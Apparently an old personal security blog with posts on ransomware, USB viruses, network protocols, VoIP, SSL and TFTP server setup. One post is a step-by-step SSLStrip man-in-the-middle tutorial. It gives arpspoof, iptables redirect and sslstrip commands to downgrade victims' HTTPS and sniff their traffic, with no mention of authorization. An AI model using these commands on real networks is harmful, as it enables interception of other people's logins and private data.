Saturday, April 13, 2013

Ransomware

Ransomware is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. Ransomware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and programs again.
How do criminals install ransomware?
Ransomware is usually installed when you open a malicious email attachment or when you click a malicious link in an email message or instant message or on a social networking site or other website. Ransomware can even be installed when you visit a malicious website.
How do I avoid ransomware?
There are several free ways to help protect your computer against ransomware and other malware:
What should I do if I have ransomware on my computer?
To detect and remove ransomware and other malicious software that might be installed on your computer, run a full-system scan with an appropriate, up-to-date, security solution. The following Microsoft products can detect and remove this threat:

Thursday, March 28, 2013

Top 5 Security Tips To Protect Your Computer From USB Viruses

With increasing anti-virus security in place against email-aware viruses and malware, hackers are turning their attention to less well-defended routes such as USB drives. This is the latest method that’s used by hackers to torment innocent users. However, there are ways you can protect your computer from USB and Pen drive viruses.

1.Block USB Viruses
Invest in an excellent anti-virus program that has built in USB virus scan and remover. These anti-USB virus scan programs not only protect your computer from USB Autorun viruses but can also clean worms, Trojans and viruses in your USB memory sticks.You can try anti-virus programs for USB virus such as USB Virus Scan, USB Drive Antivirus and so on.

2.Disable Your Computer’s Autorun Feature

When you plug in a USB drive stick into your system, the Autorun feature initiates automatically. If your USB contains any virus programs, it’ll use the Autorun feature to infect your computer. To protect your computer, disable the Autorun feature.You can disable the Autorun feature via the Control Panel.
Alternatively, you can use antivirus software to disable and enable the Autorun feature whenever you want. Additionally, these USB blocking softwares allow system administrators to specify which removable storage drives users can access.

3.Update Your Device Driver

Keeping your USB device driver updated is a good way to ensure greater stability for your USB drives. While this won’t help eradicate USB viruses, USB device drivers are constantly updated to block viruses and deliver timely warnings. You can update your USB device drive from your Windows Computer Management feature in the Control Panel.

4.Use USB Firewall Software

USB firewalls prevent Windows OS from processing malicious programs when a virus infected portable USB device is opened. USB firewalls monitor only your USB devices, and not your CD and DVD drives. By using USB firewalls, you’ll be enabling a basic level of protection from the autorun.inf viruses that spread from portable USB devices.

5.Always Safely Remove USB Devices

Viruses are sometimes created via damaged documents. If you are transferring a set of files to your USB drive, make sure the transfer is complete before you eject the device. Always use the Safely Remove Hardware feature of Windows OS. This is because partially transferred or damaged files can in turn corrupt other files on your USB drive

Tuesday, February 19, 2013

Protocol Trip

For Real Experience in penetration testing VOIP with Backtrack. 
Use Following Link :-http://www.backtrack-linux.org/wiki/index.php/Pentesting_VOIP 

You can learn a lot while doing practical . In hacking World each and every protocol is important. Because of that you can enter directly to the Victims PC And perform lot of operation.

Network security protocols are used to protect computer data and communication in transit. The primary tool used to protect information as it travels across a network is cryptography. Cryptography uses algorithms to encrypt data so that it is not readable by unauthorized users. Generally, cryptography works with a set of procedures or protocols that manage the exchange of data between devices and networks. Together, these cryptographic protocols enhance secure data transfer.


Without cryptographic network security protocols, Internet functions such as e-commerce would not be possible. Secure communication is necessary because attackers try to eavesdrop on communications, modify messages in transit, and hijack exchanges between systems. Some of the tasks networks security protocols are commonly used to protect are file transfers, Web communication, and Virtual Private Networks (VPN).

The most common method of transferring files is using File Transfer Protocol (FTP). A problem with FTP is that the files are sent in cleartext, meaning that they are sent unencrypted and therefore able to be compromised. For example, many webmasters update their sites using FTP; an attacker using a packet sniffer and the website’s IP address can intercept all communications between the webmaster and the site’s server.

As an alternative, Secure File Transfer Protocol (SFTP) offers a more secure way to transfer files. SFTP is usually built upon Secure Shell (SSH) and is able to encrypt commands and data transfers over a network, thereby reducing the likelihood of interception attacks. The SSH cryptographic protocol is also resilient to impersonation attacks because the client and server are authenticated using digital certificates.

In addition to SSH, Secure Sockets Layer/Transport Layer Security (SSL/TLS) can be used as the underlying protocol for SFTP. Like SSH, SSL/TLS authenticates the identity of both the server and the client, as well as encrypts communications between the two. In addition to securing SFTP file transfers, SSL/TLS is used for securing e-mail communication.

SSL is also used in combination with Hypertext Transfer Protocol (HTTP) to encrypt communications between a browser and a web server in the form of HTTP over Secure Sockets Layer (HTTPS). HTTPS encrypts communications and verifies the identity of a web server. When performing private transactions over the Internet, such as online banking, it generally is good practice for a person to check the browser’s address bar to make sure that the website’s address begins with https:// and not just http://.

Another area where cryptographic network security protocols play an important role, especially for modern businesses, is in exchanging documents between private networks over a public Internet connection. These so-called Virtual Private Networks (VPNs) are critical for business because they securely connect remote workers and offices across the world. Some commonly used network security protocols that are used to facilitate VPNs are Point-to-Point Tunneling Protocol (PPTP), Layer 2 Tunneling Protocol (L2TP), IP Security (IPsec), and SSH. Not only do these network security protocols create a safe connection but they also greatly reduce the costs associated with creating an alternate solution, such as building or leasing lines to create a private network.




Saturday, January 12, 2013

VoIP( Voice Over Internet Protocol)

Now we are discussing Overview of VoIP . VoIP is very Important protocol in cyber security field. 


Voice-over-IP (VoIP) implementations enables users to carry voice traffic (for example, telephone calls and faxes)over an IP network.
There are 3 main causes for the evolution of the Voice over IP market:

 1)Low cost phone calls
 2)Add-on services and unified messaging
 3)Merging of data/voice infrastructures

A VoIP system consists of a number of different components: Gateway/Media Gateway, Gatekeeper, Call agent,Media Gateway Controller, Signaling Gateway and a Call manager
The Gateway converts media provided in one type of network to the format required for another type of network. For example, a Gateway could terminate bearer channels from a switched circuit network (i.e., DS0s) and media streams from a packet network (e.g., RTP streams in an IP network). This gateway may be capable of processing audio, video and T.120 alone or in any combination, and is capable of full duplex media translations. The Gateway may also play audio/video messages and performs other IVR functions, or may perform media conferencing.

In VoIP, the digital signal processor (DSP) segments the voice signal into frames and stores them in voice packets.These voice packets are transported using IP in compliance with one of the specifications for transmitting multimedia (voice, video, fax and data) across a network: H.323 (ITU), MGCP (level 3,Bellcore, Cisco, Nortel), MEGACO/H.GCP (IETF), SIP (IETF), T.38 (ITU), SIGTRAN (IETF), Skinny (Cisco) etc. Coders are used for efficient bandwidth utilization. Different coding techniques for telephony and voice packet are standardized by the ITU-T in its G-series recommendations: G.723.1, G.729, G.729A etc.
The coder-decoder compression schemes (CODECs) are enabled for both ends of the connection and the
conversation proceeds using Real-Time Transport Protocol/User Datagram Protocol/Internet Protocol (RTP/UDP/IP) as the protocol stack.

Quality of Service
A number of advanced methods are used to overcome the hostile environment of the IP net and to provide an acceptable Quality of Service. Example of these methods are: delay, jitter, echo, congestion, packet loss, and missordered packets arrival. As VoIP is a delay-sensitive application, a well-engineered, end-to-end network is necessary to use VoIP successfully. The Mean Opinion Score is one of the most important parameters that determine the QoS.

There are several methods and sophisticated algorithms developed to evaluate the QoS: PSQM (ITU P.861), PAMS (BT) and PESQ.Each CODEC provides a certain quality of service. The quality of transmitted speech is a subjective response of the listener (human or artificial means). A common benchmark used to determine the quality of sound produced by specific CODECs is the mean opinion score (MOS). With MOS, a wide range of listeners judge the quality of a voice sample (corresponding to a particular CODEC) on a scale of 1 (bad) to 5 (excellent).

Services
The following are examples of services provided by a Voice over IP network according to market requirements: Phone to phone, PC to phone, phone to PC, fax to e-mail, e-mail to fax, fax to fax, voice to e-mail, IP Phone, transparent CCS (TCCS), toll free number (1-800), class services, call center applications, VPN, Unified Messaging, Wireless Connectivity, IN Applications using SS7, IP PABX and soft switch implementations.

This type of services provided by VoIP, In the Next article we will see the use Of VoIP in Backtrack And penetration testing VoIP with Backtrack. :) Enjoy this basics . 

Monday, December 24, 2012

Break SSL protection Using SSLStrip and Backtrack 5


Well this is the tutorial based article, so you must know about SSL (Secure Socket Layer) and something about Backtrack 5 because we are usingBacktrack 5 for this tutorial, if you are using some old version like backtrack4 or if you are using some other Linux so you must be sure to install all the dependencies that being used in this tutorial.


Secure socket layer or SSL used to established a secure and encrypt connection between user and the server and we would like to break this secure connection so the sniffing will be occur successfully.

To crack SSL protection we launch man in the middle attack, so doing this we need some tools and the requirement list is
·           Linux (Backtrack)
·          Arpspoff
·          IP Table
·          SSL Strip
·           Netstat

Now start the game first of all, make your Linux box to start port forwarding use this command.

echo '1' > /proc/sys/net/ipv4/ip_forward

After this your Linux box will able to forward all the packets, now you must know about your gateway IP, to know about your gateway use the command

netstat -nr 

Now use ARPSpoof to perform attack

arpspoof -i eth0 192.168.8.8 

Here eth0 represents the network interface card if you are using wireless link than it may be wlan0, while 192.168.8.8 is the default gateway in your case may be it different normally people are using 192.168.1.1 or 10.0.0.1

Its time to use SSL Strip, download and install SSL strip from the official website shared before, after installation we are using SSL strip, make your firewall to redirect all the traffic from port 80 to port 8080 so use the command

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

 After this make all the traffic to go from ARPspoof tables 

echo '1' > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 192.168.8.8 



If your arpspoof start capturing traffic means everything is fine and the time is to use SSL strip use the command below

sslstrip -l 8080


After that your browser address bar does not use https it only use http and the sniffing is so easy.


Friday, December 21, 2012

SSL ( Secure Socket Layer)


What is SSL?

Secure Sockets Layer (SSL) is the standard security technology for creating an encrypted link between a web server and a browser. This link ensures that all data passed between web server and browser remains private and secure. SSL is an industry standard used by millions of websites in the protection of their online transactions with their customers. In order to generate an encrypted link (signified by the gold padlock in the information tool bar and for URL with https:// instead of http://), a web server requires an SSL Certificate.
SSL Protocol

Why SSL is Essential

If your company makes it your mission to provide customers with a positive experience you want your online customers to be confident that they can order from you safely and securely. Securing your online payment area so that customer data is protected from prying eyes.
Look to Comodo, the world-renowned Certification Authority, for your security Certificate. Comodo™ is the second largest Certification Authority in the world and is Web Trust compliant. Our business practices and processes have been rigorously audited by an independent auditor (KPMG), and meet AICPA (American Institute of Certified Public Accountants) guidelines.
To qualify to receive a SSL Certificate from Comodo™ we perform a validation check elements that include as our ownership of web domain, as well as other details pertaining to the legitimacy of your business. This level of validation provides customers with peace of mind when buying online.
You can even prove validity of SSL Certificates for yourself by downloading the free Verification Engine from Comodo™. This software allows you to verify the authenticity of a Certificate outside of your web browser, where no fake or fraudulent web site can affect the result.

Why is SSL important?

Since SSL protocol was released by Netscape as a security technology in 1996. We have all been educated to look for a padlock before passing any critical details over the Internet. Technically, the SSL protocol provides an encrypted link between two parties. However to the consumer, seeing the padlock in your browser means much more:
  • That you have a secure (encrypted) link with this web site
  • That this web site is a valid and legitimate organization or an accountable legal entity
As well as ensuring that your details remain secure during a transaction, we know that you also care whether the web site you are dealing with is legitimate. In order to solve the critical issue of identity assurance as well as information security on the Internet, the efforts of SSL Providers(Certification Authorities), consumer magazines and industry bodies have rightly resulted in the padlock becoming synonymous with trust and integrity.

Monday, December 10, 2012

TFTP


Trivial File Transfer Protocol (TFTP) is a file transfer protocol notable for its simplicity. It is generally used for automated transfer of configuration or boot files between machines in a local environment. Compared to FTP, TFTP is extremely limited, providing no authentication, and is rarely used interactively by a user.
Due to its simple design, TFTP could be implemented using a very small amount of memory.. It is therefore useful for booting computers such as routers which may not have any data storage dive. It is an element of the Preboot Execution Environment (PXE) network boot protocol, where it is implemented in the firmware ROM / NVRAM of the host's network card.

It is also used to transfer small amounts of data between hosts on a network, such as IP phone firmware or operating system images when a remote X Windows system terminal or any other thin client boots from a network host or server. The initial stages of some network based installation systems (such as Solaris Jumpstart, Red Hat Kickstart, Symantec Ghost and Windows NT's Remote Installation Services) use TFTP to load a basic kernal that performs the actual installation. It was used for saving router configurations on Cisco routers, but was later augmented by other protocols.


TFTP was first defined in 1980 by IEN 133. It is currently defined by RFC 1350. There have been some extensions to the TFTP protocol documented in later RFCs.. TFTP is based in part on the earlier protocol EFTP, which was part of the PUP protocol suite. TFTP support appeared first as part of 4.3 BSD.
Due to the lack of security, it is dangerous to use it over the Internet. Thus, TFTP is generally only used on private, local networks.

Note If a TFTP server is not available on your Linux distribution or installed system, you can obtain a binary version for most Linux distributions from http://www.rpmfind.net/linux/rpm2html/ by searching for the string tftpd.
Ubuntu and Debian users can install the TFTP server with the following command:

# apt-get install xinetd tftpd
 
Before configuring the TFTP daemon itself, make sure that the entries for the TFTP protocol are not commented out in the /etc/services file. This file is typically consulted by each network service in order to determine the network ports that it should use.
You must be the root user to edit this file. Use your favorite text editor to remove the comment character (#) from the beginning of each line that contains the string tftp. Active TFTP entries in /etc/services should look like the following:

tftp            69/tcp
tftp            69/udp
 
Depending on the desktop Linux distribution and version you are using, Linux systems typically use one of two mechanisms to activate and manage network servers such as TFTP servers. These are either the Internet Services Daemon (inetd) or, more commonly, the Extended Internet Services Daemon (xinetd). Both of these commands manage a variety of network services by monitoring various network ports and starting the appropriate daemon in response to a valid request. The more modern mechanism is xinetd, and it is generally viewed as being more secure than the older inetd.
To determine which of these mechanisms your system uses to manage Internet services, you can use the system’s ps (process status) command, as in the following example:

# ps -alxww | grep inet
140      0    578      1   0  0  1152  356  do_select  S  ?  0:00  xinetd  ...
  0    500  13361  13336  18  0  1360  508  pipe_read  S  ?  0:00  grep -i  inet
 
In this example, the system is using the xinetd server, and you should follow the instructions in Configuring a TFTP Server Run by xinetd. If the output from this command shows that your system is running the inetd server, proceed to Configuring a TFTP Server Run by inetd.

Configuring a TFTP Server Run by xinetd

The servers that can be managed by the xinetd daemon are each listed in a server-specific configuration file located in the directory /etc/xinetd.d. The file for the TFTP server is named tftp, and looks like the following:

# default: off
# description: The tftp server serves files using the Trivial File Transfer \
#    Protocol.  The tftp protocol is often used to boot diskless \
#    workstations, download configuration files to network-aware printers, \
#    and to start the installation process for some operating systems.
service tftp
{
    socket_type     = dgram
    protocol        = udp
    wait            = yes
    user            = root
    server          = /usr/sbin/in.tftpd
    server_args     = -s /tftpboot
    disable         = yes
}
 
To enable the TFTP server, edit this file as the root user, replacing the word yes on the disable line with the word no. Then save the file and exit the editor.
Next, restart the xinetd process to force it to reread its configuration files, as described in Restarting the Service

Restarting the Service

If your system is running a desktop Linux distribution such as Red Hat Linux, which starts and stops system processes by using run configuration (rc) scripts, you can simply restart the daemon by invoking these scripts in one of the following commands that is appropriate for your daemon:

# /etc/init.d/xinetd restart
# /etc/init.d/inetd restart
 
This command will stop and then restart all of the services managed by the daemon on your Linux system. In addition to the restart command, you can also issue stop and start commands this way.
Caution
If your Linux system is running Internet services on which other systems depend, restarting the daemon will cause a slight interruption in those services.
After executing this command, the TFTP server will be started on your system in response to incoming TFTP requests, and you can access any files you copied to /tftpboot.
Note  If you need another way to stop the process, the following method will work on any Linux distribution. Send the HUP signal to the running xinetd process. To do this, you must first determine the process ID of the process that is currently running on your system by using the ps process status command, as in the following example:

# ps -alxww | grep xinet
 140    0    578      1   0  0  1152     356  do_select  S  ?  0:00  xinetd 
   0  500  13361  13336  18  0  1360     508  pipe_read  S  ?  0:00  grep -i  xinet
 
Of course, substitute inetd if that is the service you are using.
The -alxww options to the ps command cause it to display all system processes in an extremely wide listing. The grep command then searches for the string xinet in the resulting listing. This example displays information about a running command whose name or arguments contain the string xinet. Of these, the first is the actual xinetd process, and the third field is its process ID (in this example, 578). The process ID is the information that you will need to restart the process.
After collecting this information, you can cause the xinetd process to reread its configuration file by executing a command like the following:
 
# kill -HUP 578

Testing the Service

To ensure the TFTP server is running place a small text file in /tftpboot:
 
# echo "Hello, embedded world" > /tftpboot/hello.txt"

Then execute the following commands:
 # tftp localhost
tftp> get hello.txt
Received 23 bytes in 0.1 seconds
tftp> quit